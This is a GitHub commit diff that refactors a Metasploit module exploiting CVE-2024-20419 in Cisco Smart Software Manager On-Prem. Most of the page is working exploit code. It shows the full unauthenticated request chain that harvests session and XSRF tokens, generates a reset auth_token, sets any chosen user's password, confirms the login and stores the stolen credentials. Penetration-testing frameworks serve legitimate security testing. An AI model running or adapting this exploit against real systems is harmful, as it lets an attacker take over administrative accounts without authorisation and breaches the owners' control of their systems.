Skip to content

Commit 9690f01

Browse files
committed
code cleanup
code cleanup
1 parent b96bc11 commit 9690f01

File tree

1 file changed

+81
-47
lines changed

1 file changed

+81
-47
lines changed

modules/auxiliary/admin/http/cisco_ssm_onprem_account.rb

Lines changed: 81 additions & 47 deletions
Original file line numberDiff line numberDiff line change
@@ -7,12 +7,12 @@ def initialize(info = {})
77
info,
88
'Name' => 'Cisco Smart Software Manager (SSM) On-Prem Account Takeover (CVE-2024-20419)',
99
'Description' => %q{
10-
This module exploits an improper access control vulnerability in Cisco Smart Software Manager (SSM) On-Prem <= 8-202206, by changing the
11-
password of an existing user to an attacker-controlled one.
10+
This module exploits an improper access control vulnerability in Cisco Smart Software Manager (SSM) On-Prem <= 8-202206. An unauthenticated remote attacker
11+
can change the password of any existing user, including administrative users.
1212
},
1313
'Author' => [
14-
'Mohammed Adel', # Discovery and PoC
15-
'Michael Heinzl' # MSF Module
14+
'Michael Heinzl', # MSF Module
15+
'Mohammed Adel' # Discovery and PoC
1616
],
1717
'References' => [
1818
['CVE', '2024-20419'],
@@ -58,47 +58,47 @@ def run
5858
unless res
5959
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
6060
end
61-
if res.code == 200
62-
print_good('Server reachable.')
63-
else
61+
unless res.code == 200
6462
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
6563
end
66-
67-
raw_res = res.to_s
64+
print_good('Server reachable.')
6865

6966
# Extract XSRF-TOKEN value
67+
raw_res = res.to_s
7068
xsrf_token_regex = /XSRF-TOKEN=([^;]*)/
7169
xsrf_token = xsrf_token_regex.match(raw_res)
7270

73-
if xsrf_token
74-
xsrf_token_value = xsrf_token[1]
75-
if xsrf_token_value && !xsrf_token_value.empty?
76-
decoded_xsrf_token = decode_url(xsrf_token_value)
77-
print_good("Retrieved XSRF Token: #{decoded_xsrf_token}")
78-
else
79-
fail_with(Failure::UnexpectedReply, 'XSRF Token value is null or empty.')
80-
end
81-
else
71+
unless xsrf_token
8272
fail_with(Failure::UnexpectedReply, 'XSRF Token not found')
8373
end
8474

75+
xsrf_token_value = xsrf_token[1]
76+
unless xsrf_token_value && !xsrf_token_value.empty?
77+
fail_with(Failure::UnexpectedReply, 'XSRF Token value is null or empty.')
78+
end
79+
80+
decoded_xsrf_token = decode_url(xsrf_token_value)
81+
print_good("Retrieved XSRF Token: #{decoded_xsrf_token}")
82+
8583
# Extract _lic_engine_session value
8684
lic_token_regex = /_lic_engine_session=([^;]*)/
8785
lic_token = lic_token_regex.match(raw_res)
8886

89-
if lic_token
90-
lic_token_value = lic_token[1]
91-
if lic_token_value && !lic_token_value.empty?
92-
print_good("Retrieved _lic_engine_session: #{lic_token_value}")
93-
else
94-
fail_with(Failure::UnexpectedReply, '_lic_engine_session value is null or empty.')
95-
end
96-
else
87+
unless lic_token
9788
fail_with(Failure::UnexpectedReply, '_lic_engine_session not found')
9889
end
9990

91+
lic_token_value = lic_token[1]
92+
unless lic_token_value && !lic_token_value.empty?
93+
fail_with(Failure::UnexpectedReply, '_lic_engine_session value is null or empty.')
94+
end
95+
96+
print_good("Retrieved _lic_engine_session: #{lic_token_value}")
97+
10098
# 2) Request generate_code to retrieve auth_token
101-
payload = "{\"uid\": \"#{datastore['USER']}\"}"
99+
payload = {
100+
uid: datastore['USER']
101+
}.to_json
102102

103103
res = send_request_cgi({
104104
'method' => 'POST',
@@ -107,28 +107,34 @@ def run
107107
'X-Xsrf-Token' => decoded_xsrf_token,
108108
'Cookie' => "_lic_engine_session=#{lic_token_value}; XSRF-TOKEN=#{decoded_xsrf_token}"
109109
},
110-
'uri' => normalize_uri(target_uri.path, '/backend/reset_password/generate_code'),
110+
'uri' => normalize_uri(target_uri.path, 'backend/reset_password/generate_code'),
111111
'data' => payload
112112
})
113113

114114
unless res
115115
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
116116
end
117-
if res.code == 200
118-
json = res.get_json_document
119-
if json.key?('error_message')
120-
fail_with(Failure::UnexpectedReply, json['error_message'])
121-
elsif json.key?('auth_token')
122-
print_good('Retrieved auth_token: ' + json['auth_token'])
123-
end
124-
else
117+
unless res.code == 200
125118
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
126119
end
127120

121+
json = res.get_json_document
122+
if json.key?('error_message')
123+
fail_with(Failure::UnexpectedReply, json['error_message'])
124+
elsif json.key?('auth_token')
125+
print_good('Retrieved auth_token: ' + json['auth_token'])
126+
end
127+
128128
auth_token = json['auth_token']
129129

130130
# 3) Request reset_password to change the password of the specified user
131-
payload = "{\"uid\": \"#{datastore['USER']}\", \"auth_token\": \"#{auth_token}\", \"password\": \"#{datastore['NEW_PASSWORD']}\", \"password_confirmation\": \"#{datastore['NEW_PASSWORD']}\", \"common_name\": \"\"}"
131+
payload = {
132+
uid: datastore['USER'],
133+
auth_token: auth_token,
134+
password: datastore['NEW_PASSWORD'],
135+
password_confirmation: datastore['NEW_PASSWORD'],
136+
common_name: ''
137+
}.to_json
132138

133139
res = send_request_cgi({
134140
'method' => 'POST',
@@ -137,24 +143,52 @@ def run
137143
'X-Xsrf-Token' => decoded_xsrf_token,
138144
'Cookie' => "_lic_engine_session=#{lic_token_value}; XSRF-TOKEN=#{decoded_xsrf_token}"
139145
},
140-
'uri' => normalize_uri(target_uri.path, '/backend/reset_password'),
146+
'uri' => normalize_uri(target_uri.path, 'backend/reset_password'),
141147
'data' => payload
142148
})
143149

144150
unless res
145151
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
146152
end
147153

148-
if res.code == 200
149-
json = res.get_json_document
150-
if json.key?('error_message')
151-
fail_with(Failure::UnexpectedReply, json['error_message'])
152-
else
153-
store_valid_credential(user: datastore['USER'], private: datastore['NEW_PASSWORD'], proof: json)
154-
print_good("Password for the #{datastore['USER']} user was successfully updated: #{datastore['NEW_PASSWORD']}")
155-
print_good("Login at: http://#{datastore['RHOSTS']}:#{datastore['RPORT']}/#/logIn?redirectURL=%2F") end
156-
else
154+
unless res.code == 200
155+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
156+
end
157+
158+
json = res.get_json_document
159+
if json.key?('error_message')
160+
fail_with(Failure::UnexpectedReply, json['error_message'])
161+
end
162+
163+
# 4) Confirm that we can authenticate with the new password
164+
payload = {
165+
username: datastore['USER'],
166+
password: datastore['NEW_PASSWORD']
167+
}.to_json
168+
169+
res = send_request_cgi({
170+
'method' => 'POST',
171+
'ctype' => 'application/json',
172+
'headers' => {
173+
'X-Xsrf-Token' => decoded_xsrf_token,
174+
'Accept' => 'application/json',
175+
'Cookie' => "_lic_engine_session=#{lic_token_value}; XSRF-TOKEN=#{decoded_xsrf_token}"
176+
},
177+
'uri' => normalize_uri(target_uri.path, 'backend/auth/identity/callback'),
178+
'data' => payload
179+
})
180+
181+
unless res.code == 200
157182
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
158183
end
184+
185+
json = res.get_json_document
186+
unless json.key?('uid') && json['uid'] == datastore['USER']
187+
fail_with(Failure::UnexpectedReply, json['error_message'])
188+
end
189+
190+
store_valid_credential(user: datastore['USER'], private: datastore['NEW_PASSWORD'], proof: json)
191+
print_good("Password for the #{datastore['USER']} user was successfully updated: #{datastore['NEW_PASSWORD']}")
192+
print_good("Login at: #{full_uri(normalize_uri(target_uri, '#/logIn?redirectURL=%2F'))}")
159193
end
160194
end

0 commit comments

Comments
 (0)